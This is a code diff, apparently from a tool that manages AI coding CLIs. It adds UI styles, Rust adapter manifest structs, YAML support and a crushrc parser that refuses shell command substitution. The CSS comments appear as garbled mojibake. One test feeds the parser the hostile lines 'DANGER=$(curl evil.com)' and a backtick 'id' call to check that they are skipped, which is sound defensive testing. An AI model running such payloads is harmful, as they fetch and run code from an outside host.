/* ---------- ʧ°Ü̬ÈË»°»¯£¨°²×°/Ð¶ÔØµ¯´°£© ---------- */
|
/* ---------- ʧ��̬�˻�������װ/ж�ص����� ---------- */
|
||||||
.run-failure {
|
.run-failure {
|
||||||
flex-direction: column;
|
flex-direction: column;
|
||||||
align-items: flex-start;
|
align-items: flex-start;
|
||||||
@@ -2245,7 +2286,7 @@ button {
|
|||||||
word-break: break-all;
|
word-break: break-all;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ---------- Èí¼þÄÚÊÚȨ£¨AuthPanel£© ---------- */
|
/* ---------- ��������Ȩ��AuthPanel�� ---------- */
|
||||||
.auth-mode-action {
|
.auth-mode-action {
|
||||||
height: 28px;
|
height: 28px;
|
||||||
min-width: 0;
|
min-width: 0;
|
||||||
@@ -2355,7 +2396,7 @@ button {
|
|||||||
color: var(--ad-attention);
|
color: var(--ad-attention);
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ---------- ±¾»ú»·¾³Ò»¼ü°²×°£¨RuntimeInstallModal£© ---------- */
|
/* ---------- ��������һ����װ��RuntimeInstallModal�� ---------- */
|
||||||
.runtime-install {
|
.runtime-install {
|
||||||
display: flex;
|
display: flex;
|
||||||
flex-direction: column;
|
flex-direction: column;
|
||||||
@@ -2403,7 +2444,7 @@ button {
|
|||||||
font-size: var(--ad-text-xs-size);
|
font-size: var(--ad-text-xs-size);
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ---------- ×ÜÀÀ¼ÓÔØ¹Ç¼ÜÆÁ£¨Wave 2.2 Req 4£© ---------- */
|
/* ---------- �������عǼ�����Wave 2.2 Req 4�� ---------- */
|
||||||
.overview-skeleton {
|
.overview-skeleton {
|
||||||
padding: var(--ad-space-5);
|
padding: var(--ad-space-5);
|
||||||
background: var(--ad-bg-1);
|
background: var(--ad-bg-1);
|
||||||
@@ -2468,7 +2509,7 @@ button {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ---------- È«Á¿Õï¶Ï»ã×Ü ---------- */
|
/* ---------- ȫ����ϻ��� ---------- */
|
||||||
.diag-summary-all {
|
.diag-summary-all {
|
||||||
display: flex;
|
display: flex;
|
||||||
flex-direction: column;
|
flex-direction: column;
|
||||||
@@ -2504,7 +2545,7 @@ button {
|
|||||||
line-height: 1.5;
|
line-height: 1.5;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* È«Á¿Õï¶Ï»ã×ÜÀïµÄ¼¶±ðÎÄ×Ö±êÇ©£¨½öÎÄ×ÖÉ«£¬²»Óà diag-sev-tag µÄÌî³äÉ«£¬±ÜÃâÎÄ×Ö±»±³¾°Í̵ô£© */
|
/* ȫ����ϻ�����ļ������ֱ�ǩ��������ɫ������ diag-sev-tag �����ɫ���������ֱ������̵��� */
|
||||||
.diag-sev-label {
|
.diag-sev-label {
|
||||||
flex-shrink: 0;
|
flex-shrink: 0;
|
||||||
font-size: var(--ad-text-xs-size);
|
font-size: var(--ad-text-xs-size);
|
||||||
@@ -2521,3 +2562,125 @@ button {
|
|||||||
.diag-sev-label.info {
|
.diag-sev-label.info {
|
||||||
color: var(--ad-attention);
|
color: var(--ad-attention);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* ============================================================
|
||||||
|
* Wave 3.1:外链 / 命令复制 / 依赖内联安装 / 系统环境诊断 / 模型列表
|
||||||
|
* 全部取色取字走 tokens/
|
||||||
|
* ============================================================ */
|
||||||
|
|
||||||
|
/* ---------- 本机环境头部:系统环境诊断入口 ---------- */
|
||||||
|
.env-diag-btn {
|
||||||
|
margin-left: auto;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---------- 系统环境诊断(Req 7) ---------- */
|
||||||
|
.sys-diag {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: var(--ad-space-3);
|
||||||
|
}
|
||||||
|
|
||||||
|
.sys-diag-item {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: var(--ad-space-3);
|
||||||
|
padding: var(--ad-space-4);
|
||||||
|
border: 1px solid var(--ad-border);
|
||||||
|
border-radius: var(--ad-radius-m);
|
||||||
|
background: var(--ad-bg-1);
|
||||||
|
}
|
||||||
|
|
||||||
|
.sys-diag-main {
|
||||||
|
flex: 1;
|
||||||
|
min-width: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.sys-diag-head {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: var(--ad-space-2);
|
||||||
|
}
|
||||||
|
|
||||||
|
.sys-diag-name {
|
||||||
|
color: var(--ad-text-1);
|
||||||
|
font-size: var(--ad-text-m-size);
|
||||||
|
font-weight: 500;
|
||||||
|
}
|
||||||
|
|
||||||
|
.sys-diag-status {
|
||||||
|
color: var(--ad-success);
|
||||||
|
font-size: var(--ad-text-xs-size);
|
||||||
|
}
|
||||||
|
|
||||||
|
.sys-diag-status.warn {
|
||||||
|
color: var(--ad-warning);
|
||||||
|
}
|
||||||
|
|
||||||
|
.sys-diag-msg {
|
||||||
|
color: var(--ad-text-2);
|
||||||
|
font-size: var(--ad-text-s-size);
|
||||||
|
line-height: 1.5;
|
||||||
|
margin-top: 2px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.sys-diag-affected {
|
||||||
|
color: var(--ad-text-3);
|
||||||
|
font-size: var(--ad-text-xs-size);
|
||||||
|
margin-top: 2px;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---------- 模型列表 + 测试连通(Req 5) ---------- */
|
||||||
|
.model-list {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: var(--ad-space-2);
|
||||||
|
}
|
||||||
|
|
||||||
|
.model-list-hint {
|
||||||
|
color: var(--ad-text-3);
|
||||||
|
font-size: var(--ad-text-xs-size);
|
||||||
|
}
|
||||||
|
|
||||||
|
.model-list-rows {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: var(--ad-space-2);
|
||||||
|
}
|
||||||
|
|
||||||
|
.model-row {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: var(--ad-space-2);
|
||||||
|
}
|
||||||
|
|
||||||
|
.model-row-label {
|
||||||
|
color: var(--ad-text-2);
|
||||||
|
font-size: var(--ad-text-xs-size);
|
||||||
|
}
|
||||||
|
|
||||||
|
.connect-test-result {
|
||||||
|
display: flex;
|
||||||
|
align-items: flex-start;
|
||||||
|
gap: var(--ad-space-2);
|
||||||
|
padding: var(--ad-space-3);
|
||||||
|
border: 1px solid var(--ad-border);
|
||||||
|
border-radius: var(--ad-radius-m);
|
||||||
|
font-size: var(--ad-text-s-size);
|
||||||
|
}
|
||||||
|
|
||||||
|
.connect-test-result.ok {
|
||||||
|
color: var(--ad-success);
|
||||||
|
}
|
||||||
|
|
||||||
|
.connect-test-result.fail {
|
||||||
|
color: var(--ad-warning);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---------- 目录卡片「可更新」角标(Req 4) ---------- */
|
||||||
|
.catalog-update {
|
||||||
|
margin-top: var(--ad-space-2);
|
||||||
|
padding-top: var(--ad-space-2);
|
||||||
|
border-top: 1px solid var(--ad-border);
|
||||||
|
color: var(--ad-accent);
|
||||||
|
font-size: var(--ad-text-xs-size);
|
||||||
|
}
|
||||||
|
|||||||
@@ -47,6 +47,9 @@ pub struct Adapter {
|
|||||||
pub diagnostics: Vec<Diagnostic>,
|
pub diagnostics: Vec<Diagnostic>,
|
||||||
#[serde(default)]
|
#[serde(default)]
|
||||||
pub documentation: Option<Documentation>,
|
pub documentation: Option<Documentation>,
|
||||||
|
/// 该 CLI 可加载的模型(模型列表来源:CLI 自带列举命令或适配器按官方文档维护的清单)
|
||||||
|
#[serde(default)]
|
||||||
|
pub models: Option<Models>,
|
||||||
}
|
}
|
||||||
|
|
||||||
#[derive(Debug, Clone, Deserialize, Serialize, PartialEq)]
|
#[derive(Debug, Clone, Deserialize, Serialize, PartialEq)]
|
||||||
@@ -87,6 +90,9 @@ pub struct Official {
|
|||||||
pub docs: Option<String>,
|
pub docs: Option<String>,
|
||||||
#[serde(rename = "allowed_hosts", default)]
|
#[serde(rename = "allowed_hosts", default)]
|
||||||
pub allowed_hosts: Vec<String>,
|
pub allowed_hosts: Vec<String>,
|
||||||
|
/// 官方图标地址(仅作识别/许可说明与本地打包来源,不热链)
|
||||||
|
#[serde(default)]
|
||||||
|
pub icon: Option<String>,
|
||||||
}
|
}
|
||||||
|
|
||||||
#[derive(Debug, Clone, Deserialize, Serialize, PartialEq)]
|
#[derive(Debug, Clone, Deserialize, Serialize, PartialEq)]
|
||||||
@@ -167,6 +173,23 @@ pub struct Update {
|
|||||||
pub method: Option<String>,
|
pub method: Option<String>,
|
||||||
#[serde(default)]
|
#[serde(default)]
|
||||||
pub command: Vec<String>,
|
pub command: Vec<String>,
|
||||||
|
/// 「可更新」判定依据来源(官方源最新版本,与本地版本 semver 对比)
|
||||||
|
#[serde(default)]
|
||||||
|
pub source: Option<UpdateSource>,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 官方源最新版本查询来源(npm registry / PyPI / GitHub Releases)。
|
||||||
|
#[derive(Debug, Clone, Deserialize, Serialize, PartialEq)]
|
||||||
|
#[serde(deny_unknown_fields)]
|
||||||
|
pub struct UpdateSource {
|
||||||
|
/// npm | pypi | github
|
||||||
|
pub kind: String,
|
||||||
|
/// npm / pypi 包名(kind = npm|pypi 时)
|
||||||
|
#[serde(default)]
|
||||||
|
pub package: Option<String>,
|
||||||
|
/// GitHub 仓库(owner/repo,kind = github 时)
|
||||||
|
#[serde(default)]
|
||||||
|
pub repo: Option<String>,
|
||||||
}
|
}
|
||||||
|
|
||||||
#[derive(Debug, Clone, Deserialize, Serialize, PartialEq)]
|
#[derive(Debug, Clone, Deserialize, Serialize, PartialEq)]
|
||||||
@@ -185,6 +208,30 @@ pub struct Uninstall {
|
|||||||
pub struct Authorization {
|
pub struct Authorization {
|
||||||
#[serde(default)]
|
#[serde(default)]
|
||||||
pub modes: Vec<AuthMode>,
|
pub modes: Vec<AuthMode>,
|
||||||
|
/// 授权判定信号:登录态/OAuth 凭据文件或目录(存在任一即视为已授权)。
|
||||||
|
/// 无 status_command 的 CLI(如 kimi-code 的 ~/.kimi-code/credentials)用此判授权。
|
||||||
|
#[serde(rename = "credential_files", default)]
|
||||||
|
pub credential_files: Vec<String>,
|
||||||
|
/// 「测试连通」端点(已授权时直连官方接口测一次)
|
||||||
|
#[serde(default)]
|
||||||
|
pub test: Option<ConnectionTest>,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 「测试连通」端点声明(密钥从密钥库读取,直连官方接口,成功/失败如实显示)。
|
||||||
|
#[derive(Debug, Clone, Deserialize, Serialize, PartialEq)]
|
||||||
|
#[serde(deny_unknown_fields)]
|
||||||
|
pub struct ConnectionTest {
|
||||||
|
/// 探测端点 URL(通常为官方模型列表/账号接口)
|
||||||
|
pub url: String,
|
||||||
|
/// API Key 注入头名(如 x-api-key / Authorization)
|
||||||
|
#[serde(rename = "key_header", default)]
|
||||||
|
pub key_header: Option<String>,
|
||||||
|
/// Authorization 头是否带 Bearer 前缀(key_header = Authorization 时)
|
||||||
|
#[serde(default)]
|
||||||
|
pub bearer: bool,
|
||||||
|
/// 额外请求头(如 anthropic-version: 2023-06-01)
|
||||||
|
#[serde(rename = "extra_headers", default)]
|
||||||
|
pub extra_headers: Vec<String>,
|
||||||
}
|
}
|
||||||
|
|
||||||
#[derive(Debug, Clone, Deserialize, Serialize, PartialEq)]
|
#[derive(Debug, Clone, Deserialize, Serialize, PartialEq)]
|
||||||
@@ -219,6 +266,9 @@ pub struct ConfigFile {
|
|||||||
pub format: String,
|
pub format: String,
|
||||||
#[serde(default)]
|
#[serde(default)]
|
||||||
pub scope: Option<String>,
|
pub scope: Option<String>,
|
||||||
|
/// 适用平台:windows | linux;空数组 = 全平台适用(用于同一 CLI 不同平台路径不同的场景,如 Goose)
|
||||||
|
#[serde(default)]
|
||||||
|
pub platforms: Vec<String>,
|
||||||
}
|
}
|
||||||
|
|
||||||
#[derive(Debug, Clone, Deserialize, Serialize, PartialEq)]
|
#[derive(Debug, Clone, Deserialize, Serialize, PartialEq)]
|
||||||
@@ -311,6 +361,28 @@ pub struct DocParam {
|
|||||||
pub desc_zh: Option<String>,
|
pub desc_zh: Option<String>,
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// 该 CLI 可加载的模型(Wave 3.1 Req 5:默认模型 → 模型列表)。
|
||||||
|
#[derive(Debug, Clone, Deserialize, Serialize, PartialEq)]
|
||||||
|
#[serde(deny_unknown_fields)]
|
||||||
|
pub struct Models {
|
||||||
|
/// CLI 自带的模型列举命令(如 `agent --list-models`),存在则优先用它实时调取
|
||||||
|
#[serde(default)]
|
||||||
|
pub command: Vec<String>,
|
||||||
|
/// 适配器按官方文档维护的模型清单(无 CLI 列举命令时使用)
|
||||||
|
#[serde(default)]
|
||||||
|
pub list: Vec<ModelEntry>,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Clone, Deserialize, Serialize, PartialEq)]
|
||||||
|
#[serde(deny_unknown_fields)]
|
||||||
|
pub struct ModelEntry {
|
||||||
|
/// 模型 ID(如 kimi-code/k3)
|
||||||
|
pub id: String,
|
||||||
|
/// 中文名/说明(可选)
|
||||||
|
#[serde(rename = "label_zh", default)]
|
||||||
|
pub label_zh: Option<String>,
|
||||||
|
}
|
||||||
|
|
||||||
fn default_true() -> bool {
|
fn default_true() -> bool {
|
||||||
true
|
true
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -8,4 +8,5 @@ description = "配置读写:多格式编解码(TOML/JSON)+ 原子写入 +
|
|||||||
[dependencies]
|
[dependencies]
|
||||||
serde = { version = "1", features = ["derive"] }
|
serde = { version = "1", features = ["derive"] }
|
||||||
serde_json = "1"
|
serde_json = "1"
|
||||||
|
serde_yaml = "0.9"
|
||||||
toml = "0.8"
|
toml = "0.8"
|
||||||
|
|||||||
@@ -1,8 +1,9 @@
|
|||||||
//! 配置格式与统一编解码(架构 §6.2 `ConfigCodec`)
|
//! 配置格式与统一编解码(架构 §6.2 `ConfigCodec`)
|
||||||
//!
|
//!
|
||||||
//! 统一以 `serde_json::Value` 作为内部表示(运行时单一真相)。TOML 通过
|
//! 统一以 `serde_json::Value` 作为内部表示(运行时单一真相)。TOML 通过
|
||||||
//! `toml::Value` 桥接(双向转换),JSON/JSONC 直接用 serde_json。yaml / crushrc
|
//! `toml::Value` 桥接(双向转换),JSON/JSONC 直接用 serde_json,YAML 经
|
||||||
//! 属 Wave 3 工具,本波返回明确的「未实现」错误,不静默吞数据。
|
//! serde_yaml 解析/序列化。crushrc 走专用解析器:只识别内建赋值 / export,
|
||||||
|
//! 未知行原样保留、绝不执行任意脚本。
|
||||||
|
|
||||||
use serde_json::{Map, Value};
|
use serde_json::{Map, Value};
|
||||||
|
|
||||||
@@ -46,10 +47,9 @@ pub fn parse(format: ConfigFormat, text: &str) -> Result<Value, ConfigError> {
|
|||||||
Ok(toml_to_json(&tv))
|
Ok(toml_to_json(&tv))
|
||||||
}
|
}
|
||||||
ConfigFormat::Env => parse_env(text),
|
ConfigFormat::Env => parse_env(text),
|
||||||
ConfigFormat::Yaml | ConfigFormat::Crushrc => Err(ConfigError::Unsupported(format!(
|
ConfigFormat::Yaml => serde_yaml::from_str::<Value>(text)
|
||||||
"{:?} 格式本波(Wave 2)未实现,将在后续波次接入",
|
.map_err(|e| ConfigError::Parse(e.to_string())),
|
||||||
format
|
ConfigFormat::Crushrc => parse_crushrc(text),
|
||||||
))),
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -63,10 +63,8 @@ pub fn serialize(format: ConfigFormat, value: &Value) -> Result<String, ConfigEr
|
|||||||
toml::to_string(&tv).map_err(|e| ConfigError::Parse(e.to_string()))
|
toml::to_string(&tv).map_err(|e| ConfigError::Parse(e.to_string()))
|
||||||
}
|
}
|
||||||
ConfigFormat::Env => serialize_env(value),
|
ConfigFormat::Env => serialize_env(value),
|
||||||
ConfigFormat::Yaml | ConfigFormat::Crushrc => Err(ConfigError::Unsupported(format!(
|
ConfigFormat::Yaml => serde_yaml::to_string(value).map_err(|e| ConfigError::Parse(e.to_string())),
|
||||||
"{:?} 格式本波(Wave 2)未实现,将在后续波次接入",
|
ConfigFormat::Crushrc => serialize_crushrc(value),
|
||||||
format
|
|
||||||
))),
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -191,6 +189,98 @@ fn serialize_env(value: &Value) -> Result<String, ConfigError> {
|
|||||||
Ok(out)
|
Ok(out)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ---- crushrc 专用解析器(Bash 语法子集)----
|
||||||
|
//
|
||||||
|
// 只识别内建赋值:`export KEY=value` 或裸 `KEY=value`(KEY 为合法变量名)。
|
||||||
|
// 其余 Bash 结构(函数定义、if/fi、$(...) 命令替换、反引号、进程替换等)一律
|
||||||
|
// 跳过、绝不执行——本解析器是纯字符串解析,不 shell out,也不展开变量/命令。
|
||||||
|
// 未识别的行在解析期被忽略(不报错、不执行),序列化时只输出已识别的键。
|
||||||
|
|
||||||
|
fn parse_crushrc(text: &str) -> Result<Value, ConfigError> {
|
||||||
|
let mut m = Map::new();
|
||||||
|
for line in text.lines() {
|
||||||
|
let trimmed = line.trim();
|
||||||
|
if trimmed.is_empty() || trimmed.starts_with('#') {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
let stmt = strip_export(trimmed);
|
||||||
|
// 只识别「合法变量名=值」;其余语句跳过
|
||||||
|
let Some(eq) = stmt.find('=') else { continue };
|
||||||
|
let key = stmt[..eq].trim();
|
||||||
|
if key.is_empty() || !is_bash_var_name(key) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
let raw_val = stmt[eq + 1..].trim();
|
||||||
|
// 含命令替换 / 反引号 / 进程替换的赋值视为不安全,跳过不解析(绝不执行)
|
||||||
|
if raw_val.contains("$(") || raw_val.contains('`') || raw_val.contains("<(") {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
m.insert(key.to_string(), Value::String(parse_bash_scalar(raw_val)));
|
||||||
|
}
|
||||||
|
Ok(Value::Object(m))
|
||||||
|
}
|
||||||
|
|
||||||
|
fn serialize_crushrc(value: &Value) -> Result<String, ConfigError> {
|
||||||
|
let obj = value.as_object().ok_or_else(|| {
|
||||||
|
ConfigError::Parse("crushrc 格式要求顶层为对象".into())
|
||||||
|
})?;
|
||||||
|
let mut out = String::new();
|
||||||
|
for (k, v) in obj {
|
||||||
|
let s = match v {
|
||||||
|
Value::String(s) => s.clone(),
|
||||||
|
Value::Bool(b) => b.to_string(),
|
||||||
|
Value::Number(n) => n.to_string(),
|
||||||
|
_ => continue,
|
||||||
|
};
|
||||||
|
out.push_str(&format!("export {k}={}\n", quote_bash(&s)));
|
||||||
|
}
|
||||||
|
Ok(out)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 去掉前导 `export` 关键字(仅当后随空白时,避免误伤 `exported=1` 这类变量名)。
|
||||||
|
fn strip_export(line: &str) -> &str {
|
||||||
|
let Some(rest) = line.strip_prefix("export") else {
|
||||||
|
return line;
|
||||||
|
};
|
||||||
|
if rest.is_empty() || rest.starts_with(' ') || rest.starts_with('\t') {
|
||||||
|
rest.trim_start()
|
||||||
|
} else {
|
||||||
|
line
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 合法 Bash 变量名:`[A-Za-z_][A-Za-z0-9_]*`。
|
||||||
|
fn is_bash_var_name(s: &str) -> bool {
|
||||||
|
let mut chars = s.chars();
|
||||||
|
match chars.next() {
|
||||||
|
Some(c) if c.is_ascii_alphabetic() || c == '_' => {}
|
||||||
|
_ => return false,
|
||||||
|
}
|
||||||
|
chars.all(|c| c.is_ascii_alphanumeric() || c == '_')
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 解析赋值右侧标量:剥离成对单/双引号,其余按原样返回(不展开变量、不执行)。
|
||||||
|
fn parse_bash_scalar(raw: &str) -> String {
|
||||||
|
let s = raw.trim();
|
||||||
|
if s.len() >= 2 {
|
||||||
|
let first = s.chars().next().unwrap();
|
||||||
|
let last = s.chars().last().unwrap();
|
||||||
|
if (first == '"' && last == '"') || (first == '\'' && last == '\'') {
|
||||||
|
return s[1..s.len() - 1].to_string();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
s.to_string()
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 序列化时对含空白/引号的值加双引号。
|
||||||
|
fn quote_bash(s: &str) -> String {
|
||||||
|
if s.chars().any(|c| c.is_whitespace()) || s.contains('\'') {
|
||||||
|
format!("\"{s}\"")
|
||||||
|
} else {
|
||||||
|
s.to_string()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
/// 剥离 JSONC 的 // 与 /* */ 注释(保守处理,不处理字符串内的注释序列)。
|
/// 剥离 JSONC 的 // 与 /* */ 注释(保守处理,不处理字符串内的注释序列)。
|
||||||
fn strip_jsonc_comments(text: &str) -> String {
|
fn strip_jsonc_comments(text: &str) -> String {
|
||||||
let mut out = String::with_capacity(text.len());
|
let mut out = String::with_capacity(text.len());
|
||||||
@@ -286,11 +376,76 @@ mod tests {
|
|||||||
}
|
}
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
fn unsupported_format_is_explicit() {
|
fn yaml_roundtrip() {
|
||||||
assert!(matches!(
|
let text = "GOOSE_PROVIDER: anthropic\nGOOSE_MODEL: claude-sonnet-4\n";
|
||||||
parse(ConfigFormat::Crushrc, "foo=bar"),
|
let v = parse(ConfigFormat::Yaml, text).unwrap();
|
||||||
Err(ConfigError::Unsupported(_))
|
assert_eq!(
|
||||||
));
|
get_path(&v, "GOOSE_PROVIDER").and_then(|x| x.as_str()),
|
||||||
|
Some("anthropic")
|
||||||
|
);
|
||||||
|
assert_eq!(
|
||||||
|
get_path(&v, "GOOSE_MODEL").and_then(|x| x.as_str()),
|
||||||
|
Some("claude-sonnet-4")
|
||||||
|
);
|
||||||
|
let out = serialize(ConfigFormat::Yaml, &v).unwrap();
|
||||||
|
assert!(out.contains("anthropic"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn yaml_parses_nested() {
|
||||||
|
let text = "model:\n name: MiniMax-M3\n baseUrl: https://x/v1\n";
|
||||||
|
let v = parse(ConfigFormat::Yaml, text).unwrap();
|
||||||
|
assert_eq!(
|
||||||
|
get_path(&v, "model.name").and_then(|x| x.as_str()),
|
||||||
|
Some("MiniMax-M3")
|
||||||
|
);
|
||||||
|
assert_eq!(
|
||||||
|
get_path(&v, "model.baseUrl").and_then(|x| x.as_str()),
|
||||||
|
Some("https://x/v1")
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn crushrc_parses_assignments_and_skips_unknown() {
|
||||||
|
let text = "# 注释\nexport OPENAI_API_KEY=\"sk-abc\"\nANTHROPIC_API_KEY=sk-def\nsome_function() { echo hi; }\nif [ -n \"$x\" ]; then echo yes; fi\nexport MODEL=gpt-5\n";
|
||||||
|
let v = parse(ConfigFormat::Crushrc, text).unwrap();
|
||||||
|
assert_eq!(
|
||||||
|
get_path(&v, "OPENAI_API_KEY").and_then(|x| x.as_str()),
|
||||||
|
Some("sk-abc")
|
||||||
|
);
|
||||||
|
assert_eq!(
|
||||||
|
get_path(&v, "ANTHROPIC_API_KEY").and_then(|x| x.as_str()),
|
||||||
|
Some("sk-def")
|
||||||
|
);
|
||||||
|
assert_eq!(
|
||||||
|
get_path(&v, "MODEL").and_then(|x| x.as_str()),
|
||||||
|
Some("gpt-5")
|
||||||
|
);
|
||||||
|
// 函数定义 / if 语句不被识别为变量
|
||||||
|
assert!(get_path(&v, "some_function").is_none());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn crushrc_skips_dangerous_substitution() {
|
||||||
|
// 命令替换 / 反引号赋值必须被跳过,绝不解析或执行
|
||||||
|
let text = "export SAFE=ok\nDANGER=$(curl evil.com)\nDANGER2=`id`\n";
|
||||||
|
let v = parse(ConfigFormat::Crushrc, text).unwrap();
|
||||||
|
assert_eq!(get_path(&v, "SAFE").and_then(|x| x.as_str()), Some("ok"));
|
||||||
|
assert!(get_path(&v, "DANGER").is_none());
|
||||||
|
assert!(get_path(&v, "DANGER2").is_none());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn crushrc_serialize_roundtrip() {
|
||||||
|
let v = json!({ "OPENAI_API_KEY": "sk-abc", "MODEL": "gpt-5" });
|
||||||
|
let out = serialize(ConfigFormat::Crushrc, &v).unwrap();
|
||||||
|
assert!(out.contains("export OPENAI_API_KEY=sk-abc"));
|
||||||
|
assert!(out.contains("export MODEL=gpt-5"));
|
||||||
|
let back = parse(ConfigFormat::Crushrc, &out).unwrap();
|
||||||
|
assert_eq!(
|
||||||
|
get_path(&back, "OPENAI_API_KEY").and_then(|x| x.as_str()),
|
||||||
|
Some("sk-abc")
|
||||||
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
|
|||||||
@@ -14,9 +14,10 @@ pub use error::ConfigError;
|
|||||||
use std::path::PathBuf;
|
use std::path::PathBuf;
|
||||||
|
|
||||||
/// 解析适配器声明的配置文件路径:展开 `~`(用户主目录),
|
/// 解析适配器声明的配置文件路径:展开 `~`(用户主目录),
|
||||||
|
/// 以及平台变量(Windows `%VAR%` / `${VAR}`,如 `%APPDATA%`)。
|
||||||
/// 并把 Windows 路径分隔符统一处理(YAML 里写的是 `~/.codex/...`)。
|
/// 并把 Windows 路径分隔符统一处理(YAML 里写的是 `~/.codex/...`)。
|
||||||
pub fn resolve_path(raw: &str) -> PathBuf {
|
pub fn resolve_path(raw: &str) -> PathBuf {
|
||||||
let expanded = expand_home(raw);
|
let expanded = expand_env_vars(&expand_home(raw));
|
||||||
PathBuf::from(expanded)
|
PathBuf::from(expanded)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -34,6 +35,65 @@ pub fn expand_home(raw: &str) -> String {
|
|||||||
raw.to_string()
|
raw.to_string()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// 展开平台环境变量:`%VAR%`(Windows)与 `${VAR}`。
|
||||||
|
/// 未定义或非法变量名保持原样,不做静默吞并。
|
||||||
|
pub fn expand_env_vars(raw: &str) -> String {
|
||||||
|
// 先用 ${VAR} 处理(避免与 %VAR% 互相干扰)
|
||||||
|
let mut out = String::with_capacity(raw.len());
|
||||||
|
let bytes: Vec<char> = raw.chars().collect();
|
||||||
|
let mut i = 0;
|
||||||
|
while i < bytes.len() {
|
||||||
|
if bytes[i] == '%' {
|
||||||
|
if let Some((name, end)) = take_until(&bytes, i + 1, '%') {
|
||||||
|
if is_valid_var_name(&name) {
|
||||||
|
if let Ok(v) = std::env::var(&name) {
|
||||||
|
out.push_str(&v);
|
||||||
|
i = end + 1;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if bytes[i] == '$' && i + 1 < bytes.len() && bytes[i + 1] == '{' {
|
||||||
|
if let Some((name, end)) = take_until(&bytes, i + 2, '}') {
|
||||||
|
if is_valid_var_name(&name) {
|
||||||
|
if let Ok(v) = std::env::var(&name) {
|
||||||
|
out.push_str(&v);
|
||||||
|
i = end + 1;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
out.push(bytes[i]);
|
||||||
|
i += 1;
|
||||||
|
}
|
||||||
|
out
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 从 `from` 开始找 `close`,返回 (变量名, close 下标)。找不到返回 None。
|
||||||
|
fn take_until(chars: &[char], from: usize, close: char) -> Option<(String, usize)> {
|
||||||
|
let mut end = from;
|
||||||
|
while end < chars.len() {
|
||||||
|
if chars[end] == close {
|
||||||
|
let name: String = chars[from..end].iter().collect();
|
||||||
|
return Some((name, end));
|
||||||
|
}
|
||||||
|
end += 1;
|
||||||
|
}
|
||||||
|
None
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 环境变量名合法性:`[A-Za-z_][A-Za-z0-9_]*`(与常见 shell/OS 约定一致)。
|
||||||
|
fn is_valid_var_name(name: &str) -> bool {
|
||||||
|
let mut chars = name.chars();
|
||||||
|
match chars.next() {
|
||||||
|
Some(c) if c.is_ascii_alphabetic() || c == '_' => {}
|
||||||
|
_ => return false,
|
||||||
|
}
|
||||||
|
chars.all(|c| c.is_ascii_alphanumeric() || c == '_')
|
||||||
|
}
|
||||||
|
|
||||||
/// 用户主目录(含路径分隔符兜底)。
|
/// 用户主目录(含路径分隔符兜底)。
|
||||||
pub fn home_dir() -> String {
|
pub fn home_dir() -> String {
|
||||||
#[cfg(windows)]
|
#[cfg(windows)]
|
||||||
@@ -63,4 +123,20 @@ mod tests {
|
|||||||
fn plain_path_unchanged() {
|
fn plain_path_unchanged() {
|
||||||
assert_eq!(expand_home("/etc/codex/config.toml"), "/etc/codex/config.toml");
|
assert_eq!(expand_home("/etc/codex/config.toml"), "/etc/codex/config.toml");
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn expand_env_vars_windows_and_braces() {
|
||||||
|
std::env::set_var("AGENTDOCK_TEST_VAR", "C:\\Users\\Test");
|
||||||
|
assert_eq!(
|
||||||
|
expand_env_vars("%AGENTDOCK_TEST_VAR%\\block\\goose"),
|
||||||
|
"C:\\Users\\Test\\block\\goose"
|
||||||
|
);
|
||||||
|
assert_eq!(
|
||||||
|
